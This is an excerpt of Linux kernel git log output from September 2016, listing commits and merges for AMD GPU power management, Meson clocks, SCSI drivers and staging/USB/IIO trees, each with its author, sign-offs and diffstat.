drivers/gpu/drm/amd/amdgpu/amdgpu_pll.c:113:6: warning: no previous prototype for 'amdgpu_pll_compute' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/cz_smc.c:38:10: warning: no previous prototype for 'cz_get_argument' [-Wmissing-prototypes] drivers/gpu/drm/amd/amdgpu/cz_smc.c:302:5: warning: no previous prototype for 'cz_smu_start' [-Wmissing-prototypes] .... In fact, these functions are declared in drivers/gpu/drm/amd/amdgpu/atombios_i2c.h drivers/gpu/drm/amd/amdgpu/amdgpu_pll.h drivers/gpu/drm/amd/amdgpu/cz_dpm.h drivers/gpu/drm/amd/amdgpu/vi_dpm.h. So this patch adds missing header dependencies. Reviewed-by: Christian König Signed-off-by: Baoyou Xie Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_pll.c | 1 + drivers/gpu/drm/amd/amdgpu/atombios_i2c.c | 1 + drivers/gpu/drm/amd/amdgpu/cz_smc.c | 2 ++ 3 files changed, 4 insertions(+) commit efdf7a93195a712baff7aa077ae5e4542a9af2f9 Author: Edward O'Callaghan Date: Sun Sep 4 12:36:19 2016 +1000 amd/powerplay: use kmemdup instead of kmalloc + memcpy Save a few clocks by replacing calls to kmalloc followed by memcpy with a single call to kmemdup. Reviewed-by: Christian König Signed-off-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/amd_powerplay.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 41698abb4d418b83b4d9fdae1172e00b91e46b54 Author: Rex Zhu Date: Thu Aug 11 17:56:56 2016 +0800 drm/amd/powerplay: delete duplicated function and definition. Reviewed-by: Alex Deucher Acked-by: Christian König Signed-off-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 7 +++++-- drivers/gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 8 -------- drivers/gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 5 ----- drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.c | 9 --------- drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 4 ++++ drivers/gpu/drm/amd/powerplay/smumgr/polaris10_smumgr.c | 1 - drivers/gpu/drm/amd/powerplay/smumgr/smumgr.c | 1 + 7 files changed, 10 insertions(+), 25 deletions(-) commit 00d57e6d6cb4a2b2c886935a9e1a1a2bcf26a85a Author: Rex Zhu Date: Thu Aug 11 19:36:54 2016 +0800 drm/amd/powerplay: move smu related variable definitions to smumgr. Reviewed-by: Alex Deucher Acked-by: Christian König Signed-off-by: Rex Zhu Signed-off-by: Alex Deucher .../gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.h | 5 +---- .../drm/amd/powerplay/hwmgr/polaris10_powertune.h | 13 ------------- .../gpu/drm/amd/powerplay/smumgr/polaris10_smumgr.h | 20 ++++++++++++++++++++ 3 files changed, 21 insertions(+), 17 deletions(-) commit 026c881046a352c9ac4f68bb84a5f6c9bc4a7d73 Author: Rex Zhu Date: Tue Aug 16 21:38:19 2016 +0800 drm/amd/powerplay: wrap get evv voltage functions Reviewed-by: Alex Deucher Acked-by: Christian König Signed-off-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 17 +++++++++++++++++ drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 3 +++ 2 files changed, 20 insertions(+) commit 8bea2527faa13dad21e4307af77b292a8e4ded2f Author: Rex Zhu Date: Mon Sep 12 15:17:37 2016 +0800 drm/amd/powerplay: add helper function to get voltage id in votage table Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Rex Zhu Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 21 +++++++++++++++++++++ drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 4 ++-- 2 files changed, 23 insertions(+), 2 deletions(-) commit 9597f40365760873bf7fc399bb5c40c3d9949359 Author: Rex Zhu Date: Tue Sep 6 16:35:01 2016 +0800 drm/amd/powerplay: initialize platform caps in hwmgr_init. Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Rex Zhu Signed-off-by: Alex Deucher .../gpu/drm/amd/powerplay/hwmgr/hardwaremanager.c | 34 ------- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 109 ++++++++++++++++----- .../gpu/drm/amd/powerplay/inc/hardwaremanager.h | 1 - drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 1 + 4 files changed, 87 insertions(+), 58 deletions(-) commit 5141e9d2f7811e1ba714e069c4f12b64de67030f Author: Rex Zhu Date: Tue Sep 6 16:34:37 2016 +0800 drm/amd/powerplay: add module parameter to mask pp features Signed-off-by: Rex Zhu Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 4 ++++ 2 files changed, 5 insertions(+) commit 6429fb6685d72356cfacbbdb748c977d2e63a709 Author: Rex Zhu Date: Tue Aug 16 18:13:57 2016 +0800 drm/amd/powerplay: add feature flags in hwmgr to enable/disable special features. Signed-off-by: Rex Zhu Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit c63e2d4c65e8e57b2c870ea46af9ac30d79d426b Author: Rex Zhu Date: Fri Sep 9 19:01:10 2016 +0800 drm/amd/powerplay: mark symbols static where possible on tonga/iceland. Signed-off-by: Rex Zhu Acked-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/iceland_hwmgr.c | 6 +++--- drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.c | 10 +++++----- 2 files changed, 8 insertions(+), 8 deletions(-) commit e9d035eca476cc6ee395d55adf8b64c7150201e2 Author: Huang Rui Date: Wed Sep 7 20:55:42 2016 +0800 drm/amdgpu: use error label to handle exceptional case Use error label to decrease global item unref and make codes more readable. Reviewed-by: Christian König Signed-off-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) commit 441f90ecf59e089d234ff3feea98de10779a048b Author: Flora Cui Date: Fri Sep 9 14:15:30 2016 +0800 drm/amdgpu: update gart_pin_size if bo is in GTT Signed-off-by: Flora Cui Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c855e25090cdafffb87119028eb018030a46dd9e Author: Christian König Date: Mon Sep 5 17:00:57 2016 +0200 drm/amdgpu: bind GTT on demand We don't really need the GTT table any more most of the time. So bind it only on demand. Signed-off-by: Christian König Reviewed-by: Alex Deucher Acked-by: Felix Kuehling Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 34 ++++++++++++++++++++++++++++-- drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 7 ++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 33 ++++++++++++++++++++++++++--- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.h | 3 +++ drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c | 4 ++++ drivers/gpu/drm/amd/amdgpu/amdgpu_vce.c | 6 +++++- drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 3 ++- 8 files changed, 84 insertions(+), 7 deletions(-) commit 71c76a086f04055e2da8d7d71c77e0b37ac310a2 Author: Christian König Date: Sat Sep 3 16:18:26 2016 +0200 drm/amdgpu: fix GTT offset handling Otherwise we run into problems on 32bit systems with more than 4GB GART. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit d28d6e6fa55e08a16a83ae572b1cbf4f03e8fbf1 Author: Huang Rui Date: Wed Sep 7 13:24:31 2016 +0800 drm: modify drm_global_item_ref to avoid two times of writing ref->object In previous drm_global_item_ref, there are two times of writing ref->object if item->refcount is 0. So this patch does a minor update to put alloc and init ref firstly, and then to modify the item of glob array. Use "else" to avoid two times of writing ref->object. It can make the code logic more clearly. Reviewed-by: Christian König Signed-off-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/drm_global.c | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) commit 753ad49c9fdfc732972b0d03f2889f473ed35e59 Author: Monk Liu Date: Fri Aug 26 13:28:28 2016 +0800 drm/amdgpu:implement CONTEXT_CONTROL (v5) v1: for gfx8, use CONTEXT_CONTROL package to dynamically skip preamble CEIB and other load_xxx command in sequence. v2: support GFX7 as well. remove cntxcntl in compute ring funcs because CPC doesn't support this packet. v3: fix reduntant judgement in cntxcntl. v4: some cleanups, don't change cs_submit() v5: keep old MESA supported & bump up KMS version. Signed-off-by: Monk Liu Ack-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 8 ++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 8 ++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 3 ++- drivers/gpu/drm/amd/amdgpu/amdgpu_ib.c | 12 +++++++++++- drivers/gpu/drm/amd/amdgpu/gfx_v7_0.c | 20 ++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 30 ++++++++++++++++++++++++++++++ 6 files changed, 79 insertions(+), 2 deletions(-) commit 1db422de72c31fcf81f31311468a747aad389fa5 Author: Rex Zhu Date: Thu Aug 11 19:52:25 2016 +0800 drm/amd/powerplay: declare functions instand of include header file. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Reviewed-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/inc/smumgr.h | 6 ++++++ drivers/gpu/drm/amd/powerplay/smumgr/smumgr.c | 5 ----- 2 files changed, 6 insertions(+), 5 deletions(-) commit 519df8a6f21d4f7a86f137dd65f75ebf66663f7d Author: Rex Zhu Date: Wed Sep 7 15:06:58 2016 +0800 drm/amd/powerplay: calculate flexible array member's address. Signed-off-by: Rex Zhu Acked-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Huang Rui Signed-off-by: Alex Deucher .../gpu/drm/amd/powerplay/hwmgr/tonga_pptable.h | 2 +- .../amd/powerplay/hwmgr/tonga_processpptables.c | 218 +++++++++++++-------- drivers/gpu/drm/amd/powerplay/inc/pp_debug.h | 3 + 3 files changed, 140 insertions(+), 83 deletions(-) commit e7b54945f5eb3394ec630e350b5faa686c6a0eb6 Author: Michel Dänzer Date: Wed Sep 7 11:51:06 2016 +0900 drm/amdgpu/si: Call amdgpu_ttm_set_active_vram_size from si_dma_start/stop Without this, we were only ever using the first 256MB of VRAM. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97593 Tested-by: Konstantin A. Lepikhov Tested-by: Arek Ruśniak Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dma.c | 5 +++++ 1 file changed, 5 insertions(+) commit 8640faed5a8a8f55d6decd2d9c9f35ae687b1e4c Author: Junwei Zhang Date: Wed Sep 7 17:14:46 2016 +0800 drm/amdgpu: free the BO in kernel by helper amdgpu_bo_free_kernel() Signed-off-by: Junwei Zhang Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ih.c | 16 +++------------- drivers/gpu/drm/amd/amdgpu/amdgpu_ring.c | 19 ++++--------------- drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c | 15 +++------------ drivers/gpu/drm/amd/amdgpu/gfx_v7_0.c | 6 +++--- drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 6 +++--- 5 files changed, 16 insertions(+), 46 deletions(-) commit aa1d562e645d2542b48bdd42903726adfc87efb3 Author: Junwei Zhang Date: Thu Sep 8 10:13:32 2016 +0800 drm/amdgpu: add a new helper to free a BO in kernel allocations Free the BO allocated by amdgpu_bo_create_kernel() Signed-off-by: Junwei Zhang Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 29 +++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_object.h | 2 ++ 2 files changed, 31 insertions(+) commit ad2473af273b81cf184d6e43a395a128d4db7b87 Author: Tom St Denis Date: Wed Sep 7 08:42:41 2016 -0400 drm/amd/amdgpu: Fix return values in SI DPM code Fix a couple of spots where errors were not returned as well as add some error messages to si_patch_dependency_based_on_leakage() which were not being read. Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit fd5065584d5f3532d9ffb6e3832e8064f9242c7e Author: Huang Rui Date: Mon Sep 12 10:16:21 2016 +0800 drm/amdgpu: move some release handles into fail labels (v2) Clean up the codes to move the release handles into fail labels. v2: squash in Christian's regression fix Signed-off-by: Huang Rui Reviewed-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ucode.c | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) commit 16217dc79dbc599b110dda26d0421df47904bba4 Merge: ecb3f39 723344d Author: Thomas Gleixner Date: Wed Sep 14 20:53:26 2016 +0200 Merge tag 'irqchip-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/maz/arm-platforms into irq/core Merge the first drop of irqchip updates for 4.9 from Marc Zyngier: - ACPI IORT core code - IORT support for the GICv3 ITS - A few of GIC cleanups commit 8c243d21d6ac980bdb38e11db9ffa3a44b1dc84c Author: Laura Abbott Date: Wed Sep 14 08:33:58 2016 -0700 staging: android: ion: Make ION_OF depend on OF_ADDRESS The Ion platform code uses of_platform_device_create which has dependencies on OF_ADDRESS. Depending on OF is not sufficient Building sparc64:allmodconfig ... failed -------------- Error log: ... drivers/built-in.o: In function `ion_parse_dt': (.text+0x11aa2c): undefined reference to `of_platform_device_create' Add a dependency on OF_ADDRESS Reported-by: Guenter Roeck Signed-off-by: Laura Abbott Reviewed-by: Sumit Semwal Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 552edf8d79096c7458cdc2a7b1f9936e7925e2aa Merge: d2f3e10 1696566 Author: Greg Kroah-Hartman Date: Wed Sep 14 20:42:03 2016 +0200 Merge tag 'iio-for-4.9b' of git://git.kernel.org/pub/scm/linux/kernel/git/jic23/iio into staging-next Jonathan writes: Second set of iio new device support, features and cleanups for the 4.9 cycle. New device support * ad8801 dac - new driver supporting ad8801 and ad8803 DACs. * adc12138 - new driver supporting TI adc12130/adc12132 and adc12138 ADCs. * ltc2485 adc - new driver * mxc6255 - add support for the mxc6225 part name and fixup the ID check so it works. * vz89x VOC sensor - add support for the vz89te part which drops the voc_short channel and adds CRCs compared to other supported parts. New features * core - immutable triggers. These effectively grant exclusive control over a trigger. The typical usecase is a device representing an analog part (perhaps a MUX) that needs to control the sampling of a downstream ADC. - resource managed trigger registration and triggered_buffer_init. - iio_push_event now protected against case of the event interface registration not having yet occured. Only matters if an interrupt can occur during this window - might happen on shared interrupt lines. - helper to let a driver query if the trigger it is using is provided by itself (using the convention of both device and trigger having the same parent). * tools - iio-utils. Used channel modifier scaling in preference to generic scaling when both exist. * at91-adc - Add support for touchscreen switches closure time needed by some newer parts. * stx104 - support the ADC channels on this ADC/DAC board. As these are the primary feature of the board also move the driver to the iio/adc directory. * sx9500 - device tree bindings. Cleanups / Fixes * ad5755 - fix an off-by-one on devnr limit check (introduced earlier this cycle) * ad7266 - drop NULL check on devm_regulator_get_optional as it can't return NULL. * ak8974 - avoid an unused functional warning due to rework in PM core code. - remove .owner field setting as done by i2c_core. * ina2xx - clear out a left over debug field from chip global data. * hid-sensors - avoid an unused functional warning due to rework in PM core code. * maxim-thermocouple - fix non static symbol warnings. * ms5611 - fetch and enable regulators unconditionally when they aren't optional. * sca3000 - whitespace cleanup. * st_sensors - fetch and enable regulators unconditionally rather than having them supported as optional regulators (missunderstanding on my part amongst others a while back) - followup to previous patch fixes error checking on the regulators. - mark symbols static where possible. - use the 'is it my trigger' help function. This prevents the odd case of another device triggering from the st-sensors trigger whilst the st-sensors trigger is itself not using it but rather using say an hrtimer. * ti-ads1015 - add missing of_node_put. * vz89x - rework to all support of new devices. - prevent reading of a corrupted buffer. - fixup a return value of 0/1 in a bool returning function. Address updates - Vlad Dogaru email address change. commit 81522637485dd6ec9de4279c9714d58f884b6091 Merge: 54a2ec6 e6be244a Author: Greg Kroah-Hartman Date: Wed Sep 14 20:37:50 2016 +0200 Merge tag 'usb-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/balbi/usb into usb-next Felipe writes: usb: patches for v4.9 merge window This time around we have 92 non-merge commits. Most of the changes are in drivers/usb/gadget (40.3%) with drivers/usb/gadget/function being the most active directory (27.2%). As for UDC drivers, only dwc3 (26.5%) and dwc2 (12.7%) have really been active. The most important changes for dwc3 are better support for scatterlist and, again, throughput improvements. While on dwc2 got some minor stability fixes related to soft reset and FIFO usage. Felipe Tonello has done some good work fixing up our f_midi gadget and Tal Shorer has implemented a nice API change for our ULPI bus. Apart from these, we have our usual set of non-critical fixes, spelling fixes, build warning fixes, etc. commit ece59749c3e4c0f75a114424e1e6059c4002b4a9 Author: Uwe Kleine-König Date: Thu Sep 8 11:30:22 2016 +0200 ARM: clk-imx35: annotate clk enum with number values This helps to decode error messages like: [ 0.000000] i.MX clk 82: register failed with -17 Signed-off-by: Uwe Kleine-König Acked-by: Shawn Guo Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx35.c | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) commit fcff03813a7c612873303037cef5ba0329850c35 Author: Uwe Kleine-König Date: Thu Sep 8 11:30:21 2016 +0200 ARM: clk-imx35: fix name for ckil clk This fixes [ 0.000000] i.MX clk 82: register failed with -17 because the name is duplicated. Signed-off-by: Uwe Kleine-König Fixes: 3713e3f5e927 ("clk: imx35: define two clocks for rtc") Acked-by: Shawn Guo Signed-off-by: Stephen Boyd drivers/clk/imx/clk-imx35.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c08b3f9a27006c5c541b5c0fa273444a93617fda Author: Wei Yongjun Date: Sat Sep 10 16:06:36 2016 +0000 scsi: fusion: Fix error return code in mptfc_probe() Fix to return error code -ENOMEM from the workqueue alloc error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Martin K. Petersen drivers/message/fusion/mptfc.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit dfdd7d4af6ebee027be7bf2636b2314937948da6 Author: Jerome Brunet Date: Wed Sep 14 12:06:05 2016 +0200 clk: gxbb: expose i2c clocks I2C and AO_I2C clocks are needed for the i2c driver, expose to DT (and comment out in clk driver) Signed-off-by: Jerome Brunet Acked-by: Stephen Boyd Signed-off-by: Kevin Hilman drivers/clk/meson/gxbb.h | 4 ++-- include/dt-bindings/clock/gxbb-clkc.h | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) commit 5dbe7890e6e998b49aac3f0a6455803c956a49c9 Author: Martin Blumenstingl Date: Sun Sep 4 23:31:46 2016 +0200 clk: gxbb: expose USB clocks USB0_DDR_BRIDGE and USB1_DDR_BRIDGE1 are needed for the related dwc2 usb controller. USB, USB0 and USB1 are needed for the PHYs. Expose these clocks to DT and comment out in clk driver. Signed-off-by: Martin Blumenstingl Signed-off-by: Jerome Brunet Acked-by: Stephen Boyd Signed-off-by: Kevin Hilman drivers/clk/meson/gxbb.h | 10 +++++----- include/dt-bindings/clock/gxbb-clkc.h | 5 +++++ 2 files changed, 10 insertions(+), 5 deletions(-) commit f2120a8b090676380d9bce4ea23f855dc8e0d71f Author: Jerome Brunet Date: Wed Sep 7 17:13:39 2016 +0200 clk: gxbb: expose spifc clock SPI clock is needed for the spifc driver, expose to DT (and comment out in the clk driver) Signed-off-by: Jerome Brunet Acked-by: Stephen Boyd Signed-off-by: Kevin Hilman drivers/clk/meson/gxbb.h | 2 +- include/dt-bindings/clock/gxbb-clkc.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit ed6f4b518004845f6f830422cc9e3ab4f0284930 Author: Martin Blumenstingl Date: Tue Sep 6 23:38:44 2016 +0200 clk: gxbb: expose MPLL2 clock for use by DT This exposes the MPLL2 clock as this is one of the input clocks of the ethernet controller's internal mux. Signed-off-by: Martin Blumenstingl Acked-by: Stephen Boyd Signed-off-by: Kevin Hilman drivers/clk/meson/gxbb.h | 2 +- include/dt-bindings/clock/gxbb-clkc.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit 45e596cd6ead1c4ada74b03067595d7f4502fa6a Author: Don Brace Date: Fri Sep 9 16:30:42 2016 -0500 scsi: hpsa: Check for null devices in ioaccel submission patch Reviewed-by: Scott Benesh Reviewed-by: Scott Teel Reviewed-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/hpsa.c | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit dcdcc6602292514b0f82b359f2ff30f2fb9a6305 Merge: c940d76 19a2a85 Author: Kevin Hilman Date: Wed Sep 14 11:21:15 2016 -0700 Merge branch 'clk-meson-gxbb' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux into v4.8/drivers * 'clk-meson-gxbb' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: clk: meson-gxbb: Export PWM related clocks for DT meson: clk: Add support for clock gates gxbb: clk: Adjust MESON_GATE macro to be shared with meson8b clk: meson: Copy meson8b CLKID defines to private header file meson: clk: Rename register names according to Amlogic datasheet meson: clk: Move register definitions to meson8b.h clk: meson: Rename meson8b-clkc.c to reflect gxbb naming convention clk: meson: Fix invalid use of sizeof in gxbb_aoclkc_probe() clk: meson: Add GXBB AO Clock and Reset controller driver dt-bindings: clock: reset: Add GXBB AO Clock and Reset Bindings clk: gxbb: add MMC gate clocks, and expose for DT commit 4b6e5597f4c9ae545a1bd18e830d9f6b4465cadd Author: Scott Teel Date: Fri Sep 9 16:30:36 2016 -0500 scsi: hpsa: Prevent sending bmic commands to externals Reviewed-by: Scott Benesh Reviewed-by: Scott Teel Reviewed-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/hpsa.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 8383278d28b9bc598225f163b6644b8b09f2733d Author: Scott Teel Date: Fri Sep 9 16:30:29 2016 -0500 scsi: hpsa: Check for vpd support before sending Before using vendor-specific VPD pages for getting raid_level and device_id, check for page support. If page isn't supported, don't try to use it. Also, pay attention to return status on hpsa_get_device_id. [mkp: fix boolean return warnings reported by kbuild test robot] Reviewed-by: Scott Benesh Reviewed-by: Scott Teel Reviewed-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/hpsa.c | 50 ++++++++++++++++++++++++++++++++++++------------- drivers/scsi/hpsa_cmd.h | 1 + 2 files changed, 38 insertions(+), 13 deletions(-) commit c940d7658de0b91449d59d1ab8a9c1d24f0a8564 Author: Martin Blumenstingl Date: Sun Sep 11 15:41:07 2016 +0200 Documentation: dt-bindings: Add documentation for the Meson USB2 PHYs Add the documentation for the bindings for the Meson8b and GXBB USB2 PHYs. Signed-off-by: Martin Blumenstingl Acked-by: John Youn Signed-off-by: Kevin Hilman .../devicetree/bindings/phy/meson-usb2-phy.txt | 27 ++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit f94310ac076ea2cd84ff42c901e7a17382ad75f8 Author: Jerome Brunet Date: Sun Sep 11 15:41:06 2016 +0200 usb: dwc2: add support for Meson8b and GXBB SoCs Add compatible strings for amlogic Meson8b and GXBB SoCs with the corresponding configuration parameters. Signed-off-by: Jerome Brunet Signed-off-by: Martin Blumenstingl Acked-by: John Youn Signed-off-by: Kevin Hilman Documentation/devicetree/bindings/usb/dwc2.txt | 2 ++ drivers/usb/dwc2/platform.c | 34 ++++++++++++++++++++++++++ 2 files changed, 36 insertions(+) commit 0d5aa65e329e7f0b753686e116c99e2d7263bced Author: Arnd Bergmann Date: Tue Sep 6 15:01:10 2016 +0200 clk: meson: fix CLKID_GCLK_VENCI_INT typo The addition of many gate clocks added two entries in an array for the same value: drivers/clk/meson/meson8b.c:479:10: error: initialized field overwritten [-Werror=override-init] [CLKID_GCLK_VENCI_INT] = &meson8b_gclk_venci_int.hw, [CLKID_GCLK_VENCI_INT] = &meson8b_gclk_vencp_int.hw, This was clearly an accident, and since all other identifiers are listed in the order in which they are defined, I'm changing the first one to CLKID_GCLK_VENCI_INT0, making it all consistent again. Signed-off-by: Arnd Bergmann Fixes: e31a1900c1ff ("meson: clk: Add support for clock gates") Signed-off-by: Stephen Boyd drivers/clk/meson/meson8b.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 344dcc02b0578bb3f2523aaa54d7f33730c7f5af Author: Baoyou Xie Date: Wed Sep 14 14:23:28 2016 +0800 clk: mmp: add missing header dependencies We get 1 warning when building kernel with W=1: drivers/clk/mmp/clk-mmp2.c:75:13: warning: no previous prototype for 'mmp2_clk_init' [-Wmissing-prototypes] In fact, this function is declared in linux/clk/mmp.h, so this patch add missing header dependencies. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Signed-off-by: Stephen Boyd drivers/clk/mmp/clk-mmp2.c | 1 + 1 file changed, 1 insertion(+) commit 209370566ef8c38dcea40561db2c46fadb0078ce Merge: 8edeae5 5fad71f Author: Stephen Boyd Date: Wed Sep 14 11:15:03 2016 -0700 Merge tag 'clk-renesas-for-v4.9-tag3' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers into clk-next Pull renesas clk driver updates from Geert Uytterhoeven: - External crystal selection for RZ/A1, - CMT clocks for R-Car H3 and M3-W, - RAVB and Thermal clocks for R-Car M3-W. * tag 'clk-renesas-for-v4.9-tag3' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers: clk: renesas: r8a7796: Add CMT clocks clk: renesas: r8a7795: Add CMT clocks clk: renesas: r8a7796: Add RAVB clock clk: renesas: r8a7796: Add THS/TSC clock clk: renesas: rz: Select EXTAL vs USB clock commit d49c2077c03d70a59e3063c7d33f00172491ae31 Author: Don Brace Date: Fri Sep 9 16:30:23 2016 -0500 scsi: hpsa: Check for null device pointers A device can be deleted causing NULL pointer issues. Reviewed-by: Scott Benesh Reviewed-by: Scott Teel Reviewed-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/hpsa.c | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) commit 8edeae56a1da30f0d33848fdd3bd8dafbcc2ad87 Author: Wei Yongjun Date: Sat Sep 10 12:02:49 2016 +0000 meson: clk: Use builtin_platform_driver to simplify the code Use the builtin_platform_driver() macro to make the code simpler. Signed-off-by: Wei Yongjun Signed-off-by: Stephen Boyd drivers/clk/meson/meson8b.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 86cf7130a58bd2cdd09da72cdadae0dcd5f5db19 Author: Don Brace Date: Fri Sep 9 16:30:17 2016 -0500 scsi: hpsa: Determine device external status earlier Currently we are checking for external status before we are determining if a device is an external device. Reviewed-by: Scott Benesh Reviewed-by: Scott Teel Reviewed-by: Kevin Barnett Signed-off-by: Don Brace Signed-off-by: Martin K. Petersen drivers/scsi/hpsa.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 3868b42f367d7a8d4246db03388fddc1d4db428f Author: H. Nikolaus Schaller Date: Mon Sep 5 11:16:38 2016 +0200 ARM: dts: omap3-gta04: reduce panel backlight PWM frequency to 83Hz This helps to get 100% intensity closer to "always on". It compensates for an effect of dmtimer which at 100% still emits short "off" impulses and the startup-time of the DC/DC converter makes backlight intensity not reach full scale. The lower the PWM frequency is, the smaller is this effect. Signed-off-by: H. Nikolaus Schaller Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap3-gta04.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 08348b1c9b6f78430fecb120fd0c4b8c044d3639 Author: Finn Thain Date: Wed Aug 31 14:44:56 2016 +1000 scsi: ncr5380: Improve interrupt latency during PIO tranfers Large PIO transfers are broken up into chunks to try to avoid disabling local IRQs for long periods. But IRQs are still disabled for too long and this causes SCC FIFO overruns during serial port transfers. This patch reduces the PIO chunk size to reduce interrupt latency to something on the order of milliseconds, at the expense of additional CPU overhead from extra iterations of the NCR5380_main() loop. That CPU overhead is a problem for slow machines (e.g. mac_scsi on 25 MHz 68030) but these machines generally use PDMA not PIO. This patch doesn't make the overhead any worse on my Mac LC III (because it only gets about 510 accesses per ms). This patch decreases disk performance by a fraction of one percent for dmx3191d on my 333 MHz PowerPC 750. Other affected hardware (such as g_NCR5380 on x86) was not tested but 5380 ISA cards generally use PDMA and not PIO. [mkp: fix whitespace] Signed-off-by: Finn Thain Reviewed-by: Laurence Oberman Signed-off-by: Martin K. Petersen 